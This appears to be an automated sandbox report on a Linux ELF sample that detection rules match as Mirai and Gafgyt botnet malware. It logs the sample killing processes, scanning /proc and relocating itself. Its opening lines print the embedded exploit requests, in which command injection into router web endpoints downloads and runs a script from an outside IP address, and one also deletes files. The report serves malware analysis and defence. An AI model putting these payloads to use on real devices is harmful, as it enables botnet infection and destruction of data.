Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6248)	SIGKILL sent: pid: 6250, result: successful	Jump to behavior

Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: wbUtbKZmxZ.elf PID: 6221, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: wbUtbKZmxZ.elf PID: 6249, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@0/0

Source: /bin/sh (PID: 6226)

Chmod directory: /usr/bin/chmod -> chmod 777 usr/sbin

Jump to behavior

Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/wbUtbKZmxZ.elf (PID: 6247)	File opened: /proc/255/cmdline	Jump to behavior

Source: /tmp/wbUtbKZmxZ.elf (PID: 6222)

Shell command executed: sh -c "rm -rf usr/sbin && mkdir usr; >usr/sbin && mv /tmp/wbUtbKZmxZ.elf usr/sbin; chmod 777 usr/sbin"

Jump to behavior

Source: /bin/sh (PID: 6226)

Chmod executable: /usr/bin/chmod -> chmod 777 usr/sbin

Jump to behavior

Source: /bin/sh (PID: 6224)

Mkdir executable: /usr/bin/mkdir -> mkdir usr

Jump to behavior

Source: /bin/sh (PID: 6223)

Rm executable: /usr/bin/rm -> rm -rf usr/sbin

Jump to behavior

Source: /usr/bin/chmod (PID: 6226)

File: /tmp/usr/sbin (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

